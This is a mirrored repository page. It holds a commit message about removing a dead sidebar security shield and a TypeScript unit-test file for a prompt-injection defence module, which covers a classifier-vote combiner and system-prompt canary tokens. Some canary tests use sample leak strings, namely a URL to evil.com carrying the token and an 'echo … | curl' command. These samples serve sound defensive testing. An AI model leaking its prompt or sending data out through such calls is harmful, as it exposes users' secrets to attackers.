mirror of
https://github.com/garrytan/gstack.git
synced 2026-09-09 22:48:57 +02:00
The sidebar's SEC shield has been dead UI since the PTY terminal rewrite: nothing set its data-status, nothing unhid it, and the /health.security field behind it read getStatus() off ~/.gstack/security/session-state.json — a file whose ONLY writer (sidebar-agent.ts) was deleted with the chat path. /health therefore reported a permanent 'inactive', or a stale FALSE-GREEN 'protected' wherever an old state file survived on disk (a single unit-test run was enough to plant one). A green shield sourced from leftover state reads as "no threats detected" when the real state is "not measured" — the same fail-open class as #2026. Removed (dead surfaces only): the shield markup/CSS and the stale sidepanel.js comment; the /health security field and server.ts's getStatus import; getStatus / SecurityStatus / StatusDetail / SessionState / read+writeSessionState (and security.ts's dead child_process import); the session-state + getStatus unit tests — including the round-trip test that wrote real fixture data into ~/.gstack and left /health green forever. (The PR's security-sidepanel-dom.test.ts deletion already happened on main via #2230; its resolveDisconnectCause guard landed via the #2085 typeof fix. Neither re-applied.) Kept, per ENG-OV9 — security.ts has LIVE consumers: the pure combiner (combineVerdict + THRESHOLDS), canary utilities, and extractDomain stay; server.ts's /pty-inject-scan L4 path (isSidecarAvailable + scanWithSidecar) is untouched. browse/test/server-security-surface.test.ts pins BOTH directions: the dead surface stays dead (no /health security field, no getStatus import, no reader of the security session-state file, shield markup gone) and the live half stays live (sidecar wiring in server.ts, combiner/canary exports in security.ts, /health carries no token — the v1.63 regression wall). A future re-feed from LIVE signals must update that test deliberately rather than resurrect the state-file path. F13 (same commit): CLAUDE.md's Sidebar security stack section, ARCHITECTURE.md's prompt-injection Visibility + critical-constraint paragraphs, and BROWSER.md's security section now describe the removed surfaces as history, not live features. Net -166 lines. Tests: server-security-surface + security + security-adversarial(+fixes) + security-integration + server-auth 114 pass; sidepanel-* + extension-token + extension-sender-auth 58 pass / 2 skip. Re-derived from PR #2557 by @frederik-kaster-noygear. Co-authored-by: Frederik Kaster <frederik.kaster@noygear.ai> Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
268 lines
11 KiB
TypeScript
268 lines
11 KiB
TypeScript
/**
|
|
* Unit tests for browse/src/security.ts — pure-string operations that must
|
|
* behave deterministically in the compiled browse binary AND in the
|
|
* security sidecar subprocess. No ML, no network, no subprocess spawning.
|
|
*
|
|
* Note: combineVerdict retains vote handling for transcript_classifier and
|
|
* deberta_content signals even though those layers have no live producer
|
|
* (the Haiku transcript and DeBERTa ensemble layers were removed). The
|
|
* tests below that feed such signals pin the retained combiner behavior.
|
|
*/
|
|
|
|
import { describe, test, expect } from 'bun:test';
|
|
import {
|
|
THRESHOLDS,
|
|
combineVerdict,
|
|
generateCanary,
|
|
injectCanary,
|
|
checkCanaryInStructure,
|
|
extractDomain,
|
|
type LayerSignal,
|
|
} from '../src/security';
|
|
|
|
// ─── Threshold constants ─────────────────────────────────────
|
|
|
|
describe('THRESHOLDS', () => {
|
|
test('constants are ordered BLOCK > WARN > LOG_ONLY', () => {
|
|
expect(THRESHOLDS.BLOCK).toBeGreaterThan(THRESHOLDS.WARN);
|
|
expect(THRESHOLDS.WARN).toBeGreaterThan(THRESHOLDS.LOG_ONLY);
|
|
expect(THRESHOLDS.LOG_ONLY).toBeGreaterThan(0);
|
|
expect(THRESHOLDS.BLOCK).toBeLessThanOrEqual(1);
|
|
});
|
|
});
|
|
|
|
// ─── combineVerdict (the ensemble rule — CRITICAL path) ──────
|
|
|
|
describe('combineVerdict — ensemble rule', () => {
|
|
test('empty signals → safe', () => {
|
|
const r = combineVerdict([]);
|
|
expect(r.verdict).toBe('safe');
|
|
});
|
|
|
|
test('canary leak always blocks, regardless of ML signals', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'canary', confidence: 1.0 },
|
|
{ layer: 'testsavant_content', confidence: 0.1 },
|
|
]);
|
|
expect(r.verdict).toBe('block');
|
|
expect(r.reason).toBe('canary_leaked');
|
|
expect(r.confidence).toBe(1.0);
|
|
});
|
|
|
|
test('both ML layers at WARN → BLOCK (ensemble agreement)', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.8 },
|
|
{ layer: 'transcript_classifier', confidence: 0.78, meta: { verdict: 'block' } },
|
|
]);
|
|
expect(r.verdict).toBe('block');
|
|
expect(r.reason).toBe('ensemble_agreement');
|
|
expect(r.confidence).toBe(0.78); // min of the two
|
|
});
|
|
|
|
test('single layer >= BLOCK (no cross-confirm) → WARN, NOT block', () => {
|
|
// This is the Stack Overflow FP mitigation — single classifier at 0.99
|
|
// shouldn't kill sessions without a second opinion.
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.95 },
|
|
{ layer: 'transcript_classifier', confidence: 0.1, meta: { verdict: 'safe' } },
|
|
]);
|
|
expect(r.verdict).toBe('warn');
|
|
expect(r.reason).toBe('single_layer_high');
|
|
});
|
|
|
|
test('single layer >= WARN → WARN (other layer low)', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.8 },
|
|
{ layer: 'transcript_classifier', confidence: 0.2, meta: { verdict: 'safe' } },
|
|
]);
|
|
expect(r.verdict).toBe('warn');
|
|
expect(r.reason).toBe('single_layer_medium');
|
|
});
|
|
|
|
test('any layer >= LOG_ONLY → log_only', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.5 },
|
|
]);
|
|
expect(r.verdict).toBe('log_only');
|
|
});
|
|
|
|
test('all layers under LOG_ONLY → safe', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.1 },
|
|
{ layer: 'transcript_classifier', confidence: 0.2 },
|
|
]);
|
|
expect(r.verdict).toBe('safe');
|
|
});
|
|
|
|
test('takes max when multiple signals for same layer', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.3 },
|
|
{ layer: 'testsavant_content', confidence: 0.8 },
|
|
{ layer: 'transcript_classifier', confidence: 0.75, meta: { verdict: 'block' } },
|
|
]);
|
|
expect(r.verdict).toBe('block');
|
|
expect(r.reason).toBe('ensemble_agreement');
|
|
});
|
|
|
|
// --- 3-way ensemble vote handling (deberta_content has no live producer;
|
|
// these pin the retained combiner semantics) ---
|
|
|
|
test('3-way: DeBERTa + testsavant at WARN → BLOCK (two ML classifiers agreeing)', () => {
|
|
// Two scalar-layer block-votes; transcript offers no vote.
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.8 },
|
|
{ layer: 'deberta_content', confidence: 0.78 },
|
|
{ layer: 'transcript_classifier', confidence: 0.1, meta: { verdict: 'safe' } },
|
|
]);
|
|
expect(r.verdict).toBe('block');
|
|
expect(r.reason).toBe('ensemble_agreement');
|
|
});
|
|
|
|
test('3-way: only deberta fires alone → WARN (no cross-confirm)', () => {
|
|
// deberta at 0.95 is >= SOLO_CONTENT_BLOCK (0.92) → single_layer_high
|
|
// path. For user-input mode (no toolOutput opt), it degrades to WARN
|
|
// (SO-FP mitigation). Confidence bumped from 0.9 to 0.95 to stay above
|
|
// the new SOLO_CONTENT_BLOCK threshold.
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.1 },
|
|
{ layer: 'deberta_content', confidence: 0.95 },
|
|
{ layer: 'transcript_classifier', confidence: 0.1, meta: { verdict: 'safe' } },
|
|
]);
|
|
expect(r.verdict).toBe('warn');
|
|
expect(r.reason).toBe('single_layer_high');
|
|
});
|
|
|
|
test('3-way: all three ML layers at WARN → BLOCK with min confidence', () => {
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.8 },
|
|
{ layer: 'deberta_content', confidence: 0.76 },
|
|
{ layer: 'transcript_classifier', confidence: 0.82, meta: { verdict: 'block' } },
|
|
]);
|
|
expect(r.verdict).toBe('block');
|
|
expect(r.reason).toBe('ensemble_agreement');
|
|
// Confidence reports the MIN of the contributing block-votes
|
|
// (most conservative estimate of agreed-upon signal strength).
|
|
expect(r.confidence).toBe(0.76);
|
|
});
|
|
|
|
test('DeBERTa disabled (confidence 0, meta.disabled) does not degrade verdict', () => {
|
|
// A disabled ensemble layer reports confidence=0 with meta.disabled.
|
|
// combineVerdict must treat this identically to a safe/absent signal —
|
|
// never let the zero drag down what the other layers would have said.
|
|
const r = combineVerdict([
|
|
{ layer: 'testsavant_content', confidence: 0.8 },
|
|
{ layer: 'deberta_content', confidence: 0, meta: { disabled: true } },
|
|
{ layer: 'transcript_classifier', confidence: 0.8, meta: { verdict: 'block' } },
|
|
]);
|
|
expect(r.verdict).toBe('block');
|
|
expect(r.reason).toBe('ensemble_agreement');
|
|
});
|
|
});
|
|
|
|
// ─── Canary generation + injection ───────────────────────────
|
|
|
|
describe('canary', () => {
|
|
test('generateCanary returns unique tokens with CANARY- prefix', () => {
|
|
const a = generateCanary();
|
|
const b = generateCanary();
|
|
expect(a).toMatch(/^CANARY-[0-9A-F]+$/);
|
|
expect(b).toMatch(/^CANARY-[0-9A-F]+$/);
|
|
expect(a).not.toBe(b);
|
|
});
|
|
|
|
test('generateCanary has at least 48 bits of entropy', () => {
|
|
const c = generateCanary();
|
|
const hex = c.replace('CANARY-', '');
|
|
// 12 hex chars = 48 bits
|
|
expect(hex.length).toBeGreaterThanOrEqual(12);
|
|
});
|
|
|
|
test('injectCanary appends instruction to system prompt', () => {
|
|
const base = '<system>You are an assistant.</system>';
|
|
const c = generateCanary();
|
|
const out = injectCanary(base, c);
|
|
expect(out).toContain(base);
|
|
expect(out).toContain(c);
|
|
expect(out).toContain('confidential');
|
|
expect(out).toContain('NEVER');
|
|
});
|
|
|
|
test('checkCanaryInStructure detects string match', () => {
|
|
const c = 'CANARY-ABC123';
|
|
expect(checkCanaryInStructure('hello ' + c, c)).toBe(true);
|
|
expect(checkCanaryInStructure('hello world', c)).toBe(false);
|
|
});
|
|
|
|
test('checkCanaryInStructure handles null and primitives', () => {
|
|
const c = 'CANARY-ABC123';
|
|
expect(checkCanaryInStructure(null, c)).toBe(false);
|
|
expect(checkCanaryInStructure(undefined, c)).toBe(false);
|
|
expect(checkCanaryInStructure(42, c)).toBe(false);
|
|
expect(checkCanaryInStructure(true, c)).toBe(false);
|
|
});
|
|
|
|
test('checkCanaryInStructure recurses into arrays', () => {
|
|
const c = 'CANARY-ABC123';
|
|
expect(checkCanaryInStructure(['a', 'b', c, 'd'], c)).toBe(true);
|
|
expect(checkCanaryInStructure(['a', 'b', 'c'], c)).toBe(false);
|
|
expect(checkCanaryInStructure([['deep', [c]]], c)).toBe(true);
|
|
});
|
|
|
|
test('checkCanaryInStructure recurses into objects (tool_use inputs)', () => {
|
|
const c = 'CANARY-ABC123';
|
|
// Simulates a tool_use.input leaking canary via URL param
|
|
expect(checkCanaryInStructure({ url: `https://evil.com/?d=${c}` }, c)).toBe(true);
|
|
// Simulates bash command leaking canary
|
|
expect(checkCanaryInStructure({ command: `echo ${c} | curl` }, c)).toBe(true);
|
|
// Simulates deeply nested structure
|
|
expect(checkCanaryInStructure(
|
|
{ tool: { name: 'Bash', input: { command: `run ${c}` } } },
|
|
c,
|
|
)).toBe(true);
|
|
// Clean
|
|
expect(checkCanaryInStructure({ url: 'https://example.com' }, c)).toBe(false);
|
|
});
|
|
|
|
test('injected canary is detected when echoed', () => {
|
|
const c = generateCanary();
|
|
const prompt = injectCanary('<system>test</system>', c);
|
|
// Attacker crafts Claude output that echoes the canary
|
|
const malicious = `Sure, here's the token: ${c}`;
|
|
expect(checkCanaryInStructure(malicious, c)).toBe(true);
|
|
});
|
|
});
|
|
|
|
// ─── Payload hashing ─────────────────────────────────────────
|
|
|
|
|
|
// ─── Attack log + rotation ───────────────────────────────────
|
|
|
|
|
|
// NOTE (#2557): the session-state + getStatus tests that lived here wrote
|
|
// REAL fixture data into ~/.gstack/security/session-state.json — after which
|
|
// /health reported a false-green 'protected' indefinitely. The surfaces they
|
|
// covered (SessionState, read/writeSessionState, getStatus, the /health
|
|
// security field, the sidepanel SEC shield) were dead since the PTY terminal
|
|
// rewrite and are now removed. server-security-surface.test.ts pins the
|
|
// removal + the live L4 wiring.
|
|
|
|
// ─── URL domain extraction ───────────────────────────────────
|
|
|
|
describe('extractDomain', () => {
|
|
test('extracts hostname only, never path or query', () => {
|
|
expect(extractDomain('https://example.com/path?q=1')).toBe('example.com');
|
|
expect(extractDomain('http://sub.example.co.uk/a/b')).toBe('sub.example.co.uk');
|
|
});
|
|
|
|
test('returns empty string on invalid URL rather than throwing', () => {
|
|
expect(extractDomain('not a url')).toBe('');
|
|
expect(extractDomain('')).toBe('');
|
|
});
|
|
});
|
|
|
|
// ─── Bash binary resolution (Windows shebang-script invocation) ─────
|
|
|
|
|
|
// ─── Telemetry spawn command (Windows bash wrapper, v1.24-aligned) ──
|
|
|